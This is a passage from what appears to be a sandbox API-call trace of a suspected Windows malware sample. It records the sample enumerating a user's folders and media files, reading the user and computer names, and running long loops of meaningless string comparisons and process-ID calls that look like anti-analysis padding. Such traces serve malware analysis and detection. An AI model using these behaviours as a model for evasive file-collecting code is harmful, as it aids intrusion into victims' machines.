lpString1="c:\\Users\\aETAdzjz\\Links\\OneDrive.lnk") returned="c:\\Users\\aETAdzjz\\Links\\OneDrive.lnk" [0040.247] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Links\\OneDrive.lnk") returned 36 [0040.247] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.247] lstrcmpW (lpString1="RecentPlaces.lnk", lpString2=".") returned 1 [0040.247] lstrcmpW (lpString1="RecentPlaces.lnk", lpString2="..") returned 1 [0040.247] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Links\\") returned 24 [0040.247] lstrlenW (lpString="RecentPlaces.lnk") returned 16 [0040.247] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Links\\", lpString2="RecentPlaces.lnk" | out: lpString1="c:\\Users\\aETAdzjz\\Links\\RecentPlaces.lnk") returned="c:\\Users\\aETAdzjz\\Links\\RecentPlaces.lnk" [0040.247] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Links\\RecentPlaces.lnk") returned 40 [0040.247] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 0 [0040.247] FindClose (in: hFindFile=0x775d58 | out: hFindFile=0x775d58) returned 1 [0040.247] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 1 [0040.247] lstrcmpW (lpString1="Local Settings", lpString2=".") returned 1 [0040.247] lstrcmpW (lpString1="Local Settings", lpString2="..") returned 1 [0040.247] lstrlenW (lpString="c:\\Users\\aETAdzjz\\") returned 18 [0040.247] lstrlenW (lpString="Local Settings") returned 14 [0040.247] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\", lpString2="Local Settings" | out: lpString1="c:\\Users\\aETAdzjz\\Local Settings") returned="c:\\Users\\aETAdzjz\\Local Settings" [0040.247] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Local Settings", lpString2="\\" | out: lpString1="c:\\Users\\aETAdzjz\\Local Settings\\") returned="c:\\Users\\aETAdzjz\\Local Settings\\" [0040.247] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Local Settings\\") returned 33 [0040.247] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Local Settings\\", lpString2="*" | out: lpString1="c:\\Users\\aETAdzjz\\Local Settings\\*") returned="c:\\Users\\aETAdzjz\\Local Settings\\*" [0040.247] FindFirstFileW (in: lpFileName="c:\\Users\\aETAdzjz\\Local Settings\\*", lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 0xffffffff [0040.247] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 1 [0040.247] lstrcmpW (lpString1="Music", lpString2=".") returned 1 [0040.247] lstrcmpW (lpString1="Music", lpString2="..") returned 1 [0040.247] lstrlenW (lpString="c:\\Users\\aETAdzjz\\") returned 18 [0040.247] lstrlenW (lpString="Music") returned 5 [0040.247] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\", lpString2="Music" | out: lpString1="c:\\Users\\aETAdzjz\\Music") returned="c:\\Users\\aETAdzjz\\Music" [0040.247] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Music", lpString2="\\" | out: lpString1="c:\\Users\\aETAdzjz\\Music\\") returned="c:\\Users\\aETAdzjz\\Music\\" [0040.248] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Music\\") returned 24 [0040.248] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Music\\", lpString2="*" | out: lpString1="c:\\Users\\aETAdzjz\\Music\\*") returned="c:\\Users\\aETAdzjz\\Music\\*" [0040.248] FindFirstFileW (in: lpFileName="c:\\Users\\aETAdzjz\\Music\\*", lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 0x775d58 [0040.248] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0040.248] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.248] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0040.248] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0040.248] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.248] lstrcmpW (lpString1="0urTZbiAGmND856rsz.wav", lpString2=".") returned 1 [0040.248] lstrcmpW (lpString1="0urTZbiAGmND856rsz.wav", lpString2="..") returned 1 [0040.248] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Music\\") returned 24 [0040.248] lstrlenW (lpString="0urTZbiAGmND856rsz.wav") returned 22 [0040.248] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Music\\", lpString2="0urTZbiAGmND856rsz.wav" | out: lpString1="c:\\Users\\aETAdzjz\\Music\\0urTZbiAGmND856rsz.wav") returned="c:\\Users\\aETAdzjz\\Music\\0urTZbiAGmND856rsz.wav" [0040.248] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Music\\0urTZbiAGmND856rsz.wav") returned 46 [0040.248] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.248] lstrcmpW (lpString1="ArMUD7tGcE.m4a", lpString2=".") returned 1 [0040.248] lstrcmpW (lpString1="ArMUD7tGcE.m4a", lpString2="..") returned 1 [0040.248] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Music\\") returned 24 [0040.248] lstrlenW (lpString="ArMUD7tGcE.m4a") returned 14 [0040.248] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Music\\", lpString2="ArMUD7tGcE.m4a" | out: lpString1="c:\\Users\\aETAdzjz\\Music\\ArMUD7tGcE.m4a") returned="c:\\Users\\aETAdzjz\\Music\\ArMUD7tGcE.m4a" [0040.248] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Music\\ArMUD7tGcE.m4a") returned 38 [0040.248] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.248] lstrcmpW (lpString1="BJii_iHQeR86Jrb6XdUN.wav", lpString2=".") returned 1 [0040.248] lstrcmpW (lpString1="BJii_iHQeR86Jrb6XdUN.wav", lpString2="..") returned 1 [0040.248] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Music\\") returned 24 [0040.248] lstrlenW (lpString="BJii_iHQeR86Jrb6XdUN.wav") returned 24 [0040.248] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Music\\", lpString2="BJii_iHQeR86Jrb6XdUN.wav" | out: lpString1="c:\\Users\\aETAdzjz\\Music\\BJii_iHQeR86Jrb6XdUN.wav") returned="c:\\Users\\aETAdzjz\\Music\\BJii_iHQeR86Jrb6XdUN.wav" [0040.248] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Music\\BJii_iHQeR86Jrb6XdUN.wav") returned 48 [0040.248] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.248] lstrcmpW (lpString1="BU2zG", lpString2=".") returned 1 [0040.248] lstrcmpW (lpString1="BU2zG", lpString2="..") returned 1 [0040.248] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Music\\") returned 24 [0040.248] lstrlenW (lpString="BU2zG") returned 5 [0040.248] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Music\\", lpString2="BU2zG" | out: lpString1="c:\\Users\\aETAdzjz\\Music\\BU2zG") returned="c:\\Users\\aETAdzjz\\Music\\BU2zG" [0040.248] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.253] GetUserNameA (in: lpBuffer=0x3df750, pcbBuffer=0x3df4d4 | out: lpBuffer="aETAdzjz", pcbBuffer=0x3df4d4) returned 1 [0040.255] GetComputerNameA (in: lpBuffer=0x3df650, nSize=0x3df4d4 | out: lpBuffer="YKYD69Q", nSize=0x3df4d4) returned 1 [0040.255] GetComputerNameExA (in: NameType=0x1, lpBuffer=0x3df550, nSize=0x3df4d4 | out: lpBuffer="YKyd69q", nSize=0x3df4d4) returned 1 [0040.255] lstrlenA (lpString="aETAdzjz") returned 8 [0040.261] lstrlenA (lpString="just string") returned 11 [0040.261] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0040.261] GetLastError () returned 0x57 [0040.261] GetCurrentProcess () returned 0xffffffff [0040.261] GetLastError () returned 0x57 [0040.261] wsprintfA (in: param_1=0x3dfa6b, param_2="%X%P" | out: param_1="37P") returned 3 [0040.261] SetLastError (dwErrCode=0x57) [0040.261] GetCurrentProcessId () returned 0xbfc [0040.261] GetLastError () returned 0x57 [0040.261] wsprintfA (in: param_1=0x3dfa63, param_2="%X%P" | out: param_1="38P") returned 3 [0040.261] SetLastError (dwErrCode=0x57) [0040.261] GetCurrentProcessId () returned 0xbfc [0040.261] GetCurrentProcessId () returned 0xbfc [0040.261] GetCurrentProcessId () returned 0xbfc [0040.261] GetCurrentProcessId () returned 0xbfc [0040.261] lstrlenA (lpString="just string") returned 11 [0040.261] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0040.261] GetLastError () returned 0x57 [0040.261] GetCurrentProcessId () returned 0xbfc [0040.261] GetCurrentProcessId () returned 0xbfc [0040.261] lstrlenA (lpString="just string") returned 11 [0040.261] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0040.261] GetLastError () returned 0x57 [0040.261] GetCurrentProcessId () returned 0xbfc [0040.261] GetCurrentProcessId () returned 0xbfc [0040.262] GetCurrentProcessId () returned 0xbfc [0040.262] lstrlenA (lpString="just string") returned 11 [0040.262] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0040.262] GetLastError () returned 0x57 [0040.262] GetLastError () returned 0x57 [0040.262] lstrcmpA (lpString1="\x08\x8aw", lpString2="luck") returned 1 [0040.262] SetLastError (dwErrCode=0x57) [0040.262] GetCurrentProcess () returned 0xffffffff [0040.262] GetLastError () returned 0x57 [0040.262] wsprintfA (in: param_1=0x3dfa63, param_2="%X%P" | out: param_1="F4P") returned 3 [0040.262] SetLastError (dwErrCode=0x57) [0040.262] GetCurrentProcessId () returned 0xbfc [0040.262] GetCurrentProcess () returned 0xffffffff [0040.262] GetLastError () returned 0x57 [0040.262] wsprintfA (in: param_1=0x3dfa63, param_2="%X%P" | out: param_1="F5P") returned 3 [0040.262] SetLastError (dwErrCode=0x57) [0040.262] GetCurrentProcessId () returned 0xbfc [0040.262] GetLastError () returned 0x57 [0040.262] wsprintfA (in: param_1=0x3dfa63, param_2="%X%P" | out: param_1="F6P") returned 3 [0040.262] SetLastError (dwErrCode=0x57) [0040.262] GetCurrentProcessId () returned 0xbfc [0040.262] GetCurrentProcessId () returned 0xbfc [0040.262] GetCurrentProcessId () returned 0xbfc [0040.262] GetCurrentProcessId () returned 0xbfc [0040.262] lstrlenA (lpString="just string") returned 11 [0040.262] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0040.262] GetLastError () returned 0x57 [0040.262] GetCurrentProcessId () returned 0xbfc [0040.262] lstrlenA (lpString="just string") returned 11 [0040.262] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0040.262] GetLastError () returned 0x57 [0040.262] GetLastError () returned 0x57 [0040.262] GetLastError () returned 0x57 [0040.262] wsprintfA (in: param_1=0x3dfa63, param_2="%X%P" | out: param_1="146P") returned 4 [0040.262] SetLastError (dwErrCode=0x57) [0040.262] GetCurrentProcessId () returned 0xbfc [0040.262] GetCurrentProcessId () returned 0xbfc [0040.262] GetCurrentProcessId () returned 0xbfc [0040.262] GetCurrentProcessId () returned 0xbfc [0040.262] lstrlenA (lpString="just string") returned 11 [0040.262] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0040.262] GetLastError () returned 0x57 [0040.262] GetCurrentProcessId () returned 0xbfc [0040.262] GetCurrentProcessId () returned 0xbfc [0040.262] lstrlenA (lpString="just string") returned 11 [0040.262] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0040.262] GetLastError () returned 0x57 [0040.262] GetCurrentProcess () returned 0xffffffff [0040.262] GetLastError () returned 0x57 [0040.262] wsprintfA (in: param_1=0x3dfa63, param_2="%X%P" | out: param_1="1D1P") returned 4 [0040.262] SetLastError (dwErrCode=0x57) [0040.262] GetCurrentProcessId () returned 0xbfc [0040.262] GetLastError () returned 0x57 [0040.262] wsprintfA (in: param_1=0x3dfa63, param_2="%X%P" | out: param_1="1D2P") returned 4 [0040.262] SetLastError (dwErrCode=0x57) [0040.262] GetCurrentProcessId () returned 0xbfc [0040.262] GetCurrentProcessId () returned 0xbfc [0040.262] GetCurrentProcessId () returned 0xbfc [0040.262] GetCurrentProcessId () returned 0xbfc [0040.262] lstrlenA (lpString="just string") returned 11 [0040.262] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0040.263] GetLastError () returned 0x57 [0040.263] GetCurrentProcessId () returned 0xbfc [0040.263] GetCurrentProcessId () returned 0xbfc [0040.263] lstrlenA (lpString="just string") returned 11 [0040.263] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0040.263] GetLastError () returned 0x57 [0040.263] GetLastError () returned 0x57 [0040.263] GetCurrentProcessId () returned 0xbfc [0040.263] GetCurrentProcessId () returned 0xbfc [0040.263] GetCurrentProcessId () returned 0xbfc [0040.263] lstrlenA (lpString="just string") returned 11 [0040.263] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0040.263] GetLastError () returned 0x57 [0040.263] GetLastError () returned 0x57 [0040.263] wsprintfA (in: param_1=0x3dfa63, param_2="%X%P" | out: param_1="268P") returned 4 [0040.263] SetLastError (dwErrCode=0x57) [0040.263] GetCurrentProcessId () returned 0xbfc [0040.263] GetCurrentProcessId () returned 0xbfc [0040.263] GetCurrentProcessId () returned 0xbfc [0040.263] GetCurrentProcessId () returned 0xbfc [0040.263] lstrlenA (lpString="just string") returned 11 [0040.263] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0040.263] GetLastError () returned 0x57 [0040.263] GetCurrentProcess () returned 0xffffffff [0040.263] GetLastError () returned 0x57 [0040.263] wsprintfA (in: param_1=0x3dfa63, param_2="%X%P" | out: param_1="27BP") returned 4 [0040.263] SetLastError (dwErrCode=0x57) [0040.263] GetCurrentProcessId () returned 0xbfc [0040.263] GetLastError () returned 0x57 [0040.263] wsprintfA (in: param_1=0x3dfa63, param_2="%X%P" | out: param_1="27CP") returned 4 [0040.263] SetLastError (dwErrCode=0x57) [0040.263] GetCurrentProcessId () returned 0xbfc [0040.263] GetCurrentProcessId () returned 0xbfc [0040.263] GetCurrentProcessId () returned 0xbfc [0040.263] GetCurrentProcessId () returned 0xbfc [0040.263] lstrlenA (lpString="just string") returned 11 [0040.263] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0040.263] GetLastError () returned 0x57 [0040.263] GetCurrentProcessId () returned 0xbfc [0040.263] GetCurrentProcessId () returned 0xbfc [0040.263] lstrlenA (lpString="just string") returned 11 [0040.263] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0040.263] GetLastError () returned 0x57 [0040.263] GetLastError () returned 0x57 [0040.263] lstrcmpA (lpString1="\x08\x8aw", lpString2="luck") returned 1 [0040.263] SetLastError (dwErrCode=0x57) [0040.263] GetCurrentProcess () returned 0xffffffff [0040.263] GetLastError () returned 0x57 [0040.263] wsprintfA (in: param_1=0x3dfa63, param_2="%X%P" | out: param_1="2CAP") returned 4 [0040.263] SetLastError (dwErrCode=0x57) [0040.263] GetCurrentProcessId () returned 0xbfc [0040.263] GetCurrentProcess () returned 0xffffffff [0040.263] GetLastError () returned 0x57 [0040.263] wsprintfA (in: param_1=0x3dfa63, param_2="%X%P" | out: param_1="2CBP") returned 4 [0040.263] SetLastError (dwErrCode=0x57) [0040.263] GetCurrentProcessId () returned 0xbfc [0040.263] GetLastError () returned 0x57 [0040.263] wsprintfA (in: param_1=0x3dfa63, param_2="%X%P" | out: param_1="2CCP") returned 4 [0040.263] SetLastError (dwErrCode=0x57) [0040.263] GetCurrentProcessId () returned 0xbfc [0040.263] GetCurrentProcessId () returned 0xbfc [0040.263] GetCurrentProcessId () returned 0xbfc [0040.263] GetCurrentProcessId () returned 0xbfc [0040.264] lstrlenA (lpString="just string") returned 11 [0040.264] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0040.264] GetLastError () returned 0x57 [0040.264] GetCurrentProcessId () returned 0xbfc [0040.264] lstrlenA (lpString="just string") returned 11 [0040.264] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0040.264] GetLastError () returned 0x57 [0040.264] GetLastError () returned 0x57 [0040.264] lstrcmpA (lpString1="J", lpString2="luck") returned -1 [0040.264] SetLastError (dwErrCode=0x57) [0040.264] GetCurrentProcess () returned 0xffffffff [0040.264] GetLastError () returned 0x57 [0040.264] wsprintfA (in: param_1=0x3dfa63, param_2="%X%P" | out: param_1="31AP") returned 4 [0040.264] SetLastError (dwErrCode=0x57) [0040.264] GetCurrentProcessId () returned 0xbfc [0040.264] GetCurrentProcess () returned 0xffffffff [0040.264] GetLastError () returned 0x57 [0040.264] wsprintfA (in: param_1=0x3dfa63, param_2="%X%P" | out: param_1="31BP") returned 4 [0040.264] SetLastError (dwErrCode=0x57) [0040.264] GetCurrentProcessId () returned 0xbfc [0040.264] GetLastError () returned 0x57 [0040.264] wsprintfA (in: param_1=0x3dfa63, param_2="%X%P" | out: param_1="31CP") returned 4 [0040.264] SetLastError (dwErrCode=0x57) [0040.264] GetCurrentProcessId () returned 0xbfc [0040.264] GetCurrentProcessId () returned 0xbfc [0040.264] GetCurrentProcessId () returned 0xbfc [0040.264] GetCurrentProcessId () returned 0xbfc [0040.264] lstrlenA (lpString="just string") returned 11 [0040.264] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0040.264] GetLastError () returned 0x57 [0040.264] GetLastError () returned 0x57 [0040.264] GetLastError () returned 0x57 [0040.264] lstrcmpA (lpString1="\x08\x8aw", lpString2="luck") returned 1 [0040.264] SetLastError (dwErrCode=0x57) [0040.264] GetCurrentProcess () returned 0xffffffff [0040.264] GetLastError () returned 0x57 [0040.264] wsprintfA (in: param_1=0x3dfa63, param_2="%X%P" | out: param_1="374P") returned 4 [0040.264] SetLastError (dwErrCode=0x57) [0040.264] GetCurrentProcessId () returned 0xbfc [0040.264] GetCurrentProcess () returned 0xffffffff [0040.264] GetLastError () returned 0x57 [0040.264] wsprintfA (in: param_1=0x3dfa63, param_2="%X%P" | out: param_1="375P") returned 4 [0040.264] SetLastError (dwErrCode=0x57) [0040.264] GetCurrentProcessId () returned 0xbfc [0040.264] GetLastError () returned 0x57 [0040.264] wsprintfA (in: param_1=0x3dfa63, param_2="%X%P" | out: param_1="376P") returned 4 [0040.264] SetLastError (dwErrCode=0x57) [0040.264] GetCurrentProcessId () returned 0xbfc [0040.264] GetCurrentProcessId () returned 0xbfc [0040.264] GetCurrentProcessId () returned 0xbfc [0040.264] GetCurrentProcessId () returned 0xbfc [0040.264] lstrlenA (lpString="just string") returned 11 [0040.264] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0040.264] GetLastError () returned 0x57 [0040.264] GetCurrentProcess () returned 0xffffffff [0040.264] GetLastError () returned 0x57 [0040.264] wsprintfA (in: param_1=0x3dfa63, param_2="%X%P" | out: param_1="3B1P") returned 4 [0040.264] SetLastError (dwErrCode=0x57) [0040.264] GetCurrentProcessId () returned 0xbfc [0040.264] GetLastError () returned 0x57 [0040.265] wsprintfA (in: param_1=0x3dfa63, param_2="%X%P" | out: param_1="3B2P") returned 4 [0040.265] SetLastError (dwErrCode=0x57) [0040.265] GetCurrentProcessId () returned 0xbfc [0040.265] GetCurrentProcessId () returned 0xbfc [0040.265] GetCurrentProcessId () returned 0xbfc [0040.265] GetCurrentProcessId () returned 0xbfc [0040.265] lstrlenA (lpString="just string") returned 11 [0040.265] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0040.265] GetLastError () returned 0x57 [0040.265] GetLastError () returned 0x57 [0040.265] wsprintfA (in: param_1=0x3dfa63, param_2="%X%P" | out: param_1="3D0P") returned 4 [0040.265] SetLastError (dwErrCode=0x57) [0040.265] GetCurrentProcessId () returned 0xbfc [0040.265] GetCurrentProcessId () returned 0xbfc [0040.265] GetCurrentProcessId () returned 0xbfc [0040.265] GetCurrentProcessId () returned 0xbfc [0040.265] lstrlenA (lpString="just string") returned 11 [0040.265] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0040.265] GetLastError () returned 0x57 [0040.265] GetLastError () returned 0x57 [0040.265] lstrcmpA (lpString1="\x08\x8aw", lpString2="luck") returned 1 [0040.265] SetLastError (dwErrCode=0x57) [0040.265] GetCurrentProcess () returned 0xffffffff [0040.265] GetLastError () returned 0x57 [0040.265] wsprintfA (in: param_1=0x3dfa63, param_2="%X%P" | out: param_1="414P") returned 4 [0040.265] SetLastError (dwErrCode=0x57) [0040.265] GetCurrentProcessId () returned 0xbfc [0040.265] GetCurrentProcess () returned 0xffffffff [0040.265] GetLastError () returned 0x57 [0040.265] wsprintfA (in: param_1=0x3dfa63, param_2="%X%P" | out: param_1="415P") returned 4 [0040.265] SetLastError (dwErrCode=0x57) [0040.265] GetCurrentProcessId () returned 0xbfc [0040.265] GetLastError () returned 0x57 [0040.265] wsprintfA (in: param_1=0x3dfa63, param_2="%X%P" | out: param_1="416P") returned 4 [0040.265] SetLastError (dwErrCode=0x57) [0040.265] GetCurrentProcessId () returned 0xbfc [0040.265] GetCurrentProcessId () returned 0xbfc [0040.265] GetCurrentProcessId () returned 0xbfc [0040.265] GetCurrentProcessId () returned 0xbfc [0040.265] lstrlenA (lpString="just string") returned 11 [0040.265] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0040.265] GetLastError () returned 0x57 [0040.265] GetLastError () returned 0x57 [0040.265] wsprintfA (in: param_1=0x3dfa63, param_2="%X%P" | out: param_1="434P") returned 4 [0040.265] SetLastError (dwErrCode=0x57) [0040.265] GetCurrentProcessId () returned 0xbfc [0040.265] GetCurrentProcessId () returned 0xbfc [0040.265] GetCurrentProcessId () returned 0xbfc [0040.265] GetCurrentProcessId () returned 0xbfc [0040.265] lstrlenA (lpString="just string") returned 11 [0040.265] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0040.265] GetLastError () returned 0x57 [0040.265] GetLastError () returned 0x57 [0040.265] wsprintfA (in: param_1=0x3dfa63, param_2="%X%P" | out: param_1="466P") returned 4 [0040.265] SetLastError (dwErrCode=0x57) [0040.265] GetCurrentProcessId () returned 0xbfc [0040.265] GetCurrentProcessId () returned 0xbfc [0040.265] GetCurrentProcessId () returned 0xbfc [0040.265] GetCurrentProcessId () returned 0xbfc [0040.265] lstrlenA (lpString="just string") returned 11 [0040.265] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0040.265] GetLastError () returned 0x57 [0040.265] GetLastError () returned 0x57 [0040.266] wsprintfA (in: param_1=0x3dfa63, param_2="%X%P" | out: param_1="484P") returned 4 [0040.266] SetLastError (dwErrCode=0x57) [0040.266] GetCurrentProcessId () returned 0xbfc [0040.266] GetCurrentProcessId () returned 0xbfc [0040.266] GetCurrentProcessId () returned 0xbfc [0040.266] GetCurrentProcessId () returned 0xbfc [0040.266] lstrlenA (lpString="just string") returned 11 [0040.266] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0040.266] GetLastError () returned 0x57 [0040.266] GetLastError () returned 0x57 [0040.266] lstrcmpA (lpString1="\x08\x8aw", lpString2="luck") returned 1 [0040.266] SetLastError (dwErrCode=0x57) [0040.266] GetCurrentProcess () returned 0xffffffff [0040.266] GetLastError () returned 0x57 [0040.266] wsprintfA (in: param_1=0x3dfa63, param_2="%X%P" | out: param_1="48CP") returned 4 [0040.266] SetLastError (dwErrCode=0x57) [0040.266] GetCurrentProcessId () returned 0xbfc [0040.266] GetCurrentProcess () returned 0xffffffff [0040.266] GetLastError () returned 0x57 [0040.266] wsprintfA (in: param_1=0x3dfa63, param_2="%X%P" | out: param_1="48DP") returned 4 [0040.266] SetLastError (dwErrCode=0x57) [0040.266] GetCurrentProcessId () returned 0xbfc [0040.266] GetLastError () returned 0x57 [0040.266] wsprintfA (in: param_1=0x3dfa63, param_2="%X%P" | out: param_1="48EP") returned 4 [0040.266] SetLastError (dwErrCode=0x57) [0040.266] GetCurrentProcessId () returned 0xbfc [0040.266] GetCurrentProcessId () returned 0xbfc [0040.266] GetCurrentProcessId () returned 0xbfc [0040.266] GetCurrentProcessId () returned 0xbfc [0040.266] lstrlenA (lpString="just string") returned 11 [0040.266] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0040.266] GetLastError () returned 0x57 [0040.266] GetLastError () returned 0x57 [0040.266] lstrcmpA (lpString1="\x08\x8aw", lpString2="luck") returned 1 [0040.266] SetLastError (dwErrCode=0x57) [0040.266] GetCurrentProcess () returned 0xffffffff [0040.266] GetLastError () returned 0x57 [0040.266] wsprintfA (in: param_1=0x3dfa63, param_2="%X%P" | out: param_1="4BEP") returned 4 [0040.266] SetLastError (dwErrCode=0x57) [0040.266] GetCurrentProcessId () returned 0xbfc [0040.266] GetCurrentProcess () returned 0xffffffff [0040.266] GetLastError () returned 0x57 [0040.266] wsprintfA (in: param_1=0x3dfa63, param_2="%X%P" | out: param_1="4BFP") returned 4 [0040.266] SetLastError (dwErrCode=0x57) [0040.266] GetCurrentProcessId () returned 0xbfc [0040.266] GetLastError () returned 0x57 [0040.266] wsprintfA (in: param_1=0x3dfa63, param_2="%X%P" | out: param_1="4C0P") returned 4 [0040.266] SetLastError (dwErrCode=0x57) [0040.266] GetCurrentProcessId () returned 0xbfc [0040.266] GetCurrentProcessId () returned 0xbfc [0040.266] GetCurrentProcessId () returned 0xbfc [0040.266] GetCurrentProcessId () returned 0xbfc [0040.266] lstrlenA (lpString="just string") returned 11 [0040.266] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0040.266] GetLastError () returned 0x57 [0040.266] GetLastError () returned 0x57 [0040.266] wsprintfA (in: param_1=0x3dfa63, param_2="%X%P" | out: param_1="4E8P") returned 4 [0040.266] SetLastError (dwErrCode=0x57) [0040.266] GetCurrentProcessId () returned 0xbfc [0040.266] GetCurrentProcessId () returned 0xbfc [0040.267] GetCurrentProcessId () returned 0xbfc [0040.267] GetCurrentProcessId () returned 0xbfc [0040.267] lstrlenA (lpString="just string") returned 11 [0040.267] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0040.267] GetLastError () returned 0x57 [0040.267] GetLastError () returned 0x57 [0040.267] wsprintfA (in: param_1=0x3dfa63, param_2="%X%P" | out: param_1="4FCP") returned 4 [0040.267] SetLastError (dwErrCode=0x57) [0040.267] GetCurrentProcessId () returned 0xbfc [0040.267] GetCurrentProcessId () returned 0xbfc [0040.267] GetCurrentProcessId () returned 0xbfc [0040.267] GetCurrentProcessId () returned 0xbfc [0040.267] lstrlenA (lpString="just string") returned 11 [0040.267] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0040.267] GetLastError () returned 0x57 [0040.267] GetCurrentProcessId () returned 0xbfc [0040.267] GetCurrentProcessId () returned 0xbfc [0040.267] GetCurrentProcessId () returned 0xbfc [0040.267] lstrlenA (lpString="just string") returned 11 [0040.267] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0040.267] GetLastError () returned 0x57 [0040.267] GetCurrentProcessId () returned 0xbfc [0040.267] GetCurrentProcessId () returned 0xbfc [0040.267] lstrlenA (lpString="just string") returned 11 [0040.267] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0040.267] GetLastError () returned 0x57 [0040.267] GetCurrentProcessId () returned 0xbfc [0040.267] GetCurrentProcessId () returned 0xbfc [0040.267] lstrlenA (lpString="just string") returned 11 [0040.267] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0040.267] GetLastError () returned 0x57 [0040.267] GetLastError () returned 0x57 [0040.267] lstrcmpA (lpString1="\x08\x8aw", lpString2="luck") returned 1 [0040.267] SetLastError (dwErrCode=0x57) [0040.267] GetCurrentProcess () returned 0xffffffff [0040.267] GetLastError () returned 0x57 [0040.267] wsprintfA (in: param_1=0x3dfa63, param_2="%X%P" | out: param_1="5B8P") returned 4 [0040.267] SetLastError (dwErrCode=0x57) [0040.267] GetCurrentProcessId () returned 0xbfc [0040.267] GetCurrentProcess () returned 0xffffffff [0040.267] GetLastError () returned 0x57 [0040.267] wsprintfA (in: param_1=0x3dfa63, param_2="%X%P" | out: param_1="5B9P") returned 4 [0040.267] SetLastError (dwErrCode=0x57) [0040.267] GetCurrentProcessId () returned 0xbfc [0040.267] GetLastError () returned 0x57 [0040.267] wsprintfA (in: param_1=0x3dfa63, param_2="%X%P" | out: param_1="5BAP") returned 4 [0040.267] SetLastError (dwErrCode=0x57) [0040.267] GetCurrentProcessId () returned 0xbfc [0040.267] GetCurrentProcessId () returned 0xbfc [0040.267] GetCurrentProcessId () returned 0xbfc [0040.267] GetCurrentProcessId () returned 0xbfc [0040.267] lstrlenA (lpString="just string") returned 11 [0040.267] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0040.267] GetLastError () returned 0x57 [0040.267] GetLastError () returned 0x57 [0040.267] GetLastError () returned 0x57 [0040.267] lstrcmpA (lpString1="\x08\x8aw", lpString2="luck") returned 1 [0040.267] SetLastError (dwErrCode=0x57) [0040.267] GetCurrentProcess () returned 0xffffffff [0040.268] GetLastError () returned 0x57 [0040.268] wsprintfA (in: param_1=0x3dfa63, param_2="%X%P" | out: param_1="5E0P") returned 4 [0040.268] SetLastError (dwErrCode=0x57) [0040.268] GetCurrentProcessId () returned 0xbfc [0040.268] GetCurrentProcess () returned 